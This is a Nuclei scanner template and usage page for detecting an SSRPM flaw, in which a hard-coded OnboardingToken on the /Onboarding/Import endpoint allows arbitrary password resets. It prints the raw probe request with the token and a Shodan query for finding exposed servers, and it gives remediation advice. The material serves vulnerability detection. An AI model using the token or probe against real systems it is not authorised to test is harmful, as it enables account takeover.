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SSRPM - Arbitary Password Reset on Default Client Interface Installation

ID: ssrpm-arbitrary-password-reset

Severity: high

Author: vince-isec

Tags: ssrpm,intrusive

The default installation of the Client Web Interface, which is provided alongside the COM SSRPM service, defines a hard-coded secret token for the Import endpoint. This endpoint allows registering new accounts or overwriting existing onboarding data for an arbitrary account, which ultimately allows changing the password of an arbitrary account.

id: ssrpm-arbitrary-password-reset
info:
name: SSRPM - Arbitary Password Reset on Default Client Interface Installation
author: vince-isec
severity: high
description: |
The default installation of the Client Web Interface, which is provided alongside the COM SSRPM service, defines a hard-coded secret token for the Import endpoint. This endpoint allows registering new accounts or overwriting existing onboarding data for an arbitrary account, which ultimately allows changing the password of an arbitrary account.
remediation: Set a new and random value to the OnboardingToken setting. Install the new version of SSRPM and its web interface.
reference:
- https://www.synacktiv.com/advisories/ssrpm-arbitrary-password-reset-on-default-client-web-interface-installation
metadata:
shodan-query: http.favicon.hash:-916902413
max-request: 1
verified: true
tags: ssrpm,intrusive
variables:
string: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /Onboarding/Import HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
OnboardingToken=7e30bebc-d17c-4833-98b6-d4c09e076b24&Action={{string}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"ErrorCode":-55'
- '"Success":false'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
extractors:
- type: kval
kval:
- string
# digest: 4a0a00473045022054e83e4f1c9710635a65d02c970f2aed29064c24cb12ed212b1e797a172c8386022100c72f534f25a61db97c8f0b74c55081a9bde45a33000f03d5b0a51b0b9358889d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/ssrpm-arbitrary-password-reset.yaml"

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